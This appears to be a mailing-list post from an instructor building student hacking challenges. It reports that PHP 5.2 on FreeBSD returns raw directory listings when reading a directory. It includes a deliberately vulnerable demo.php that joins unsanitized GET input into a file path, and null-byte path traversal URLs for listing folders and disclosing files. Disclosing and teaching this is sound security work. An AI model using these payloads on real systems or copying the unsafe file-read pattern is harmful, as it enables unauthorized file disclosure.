hello,
atm I'm creating some hacking challenges for some students on a FreeBSD platform and while I created a path traversal challenge with null byte injection, I noticed a strange behavior on FreeBSD. The following 3 PHP codes will output a garbled directory listing of the current directory:
echo file_get_contents("./");
$a=file("./");print_r($a);
readfile("./");
Tested with:
FreeBSD 7.0 + PHP 5.2.5 + Suhosin-Patch 0.9.6.2
FreeBSD 7.0 + PHP 5.2.6 + Suhosin-Patch 0.9.6.2
FreeBSD 7.2 + PHP 5.2.10
So a NullByte Injection under FreeBSD is much easier to exploit since you dont have to know all files names.
demo.php
<?php
$file = $_GET['file'];
echo file_get_contents("/var/www/html/".$file.".html");
?>
demo.php?file=../%00 // dirlist to see folders and files
demo.php?file=../cgi-bin/%00 // another dirlist
demo.php?file=../cgi-bin/test.php%00 // file disclosure as usual
Is this a known behavior for the FreeBSD file system? I couldn't reproduce this on any other platform and this was new to me, so I thought it could be interesting. if this behavior appears on other platforms as well, please let me know.
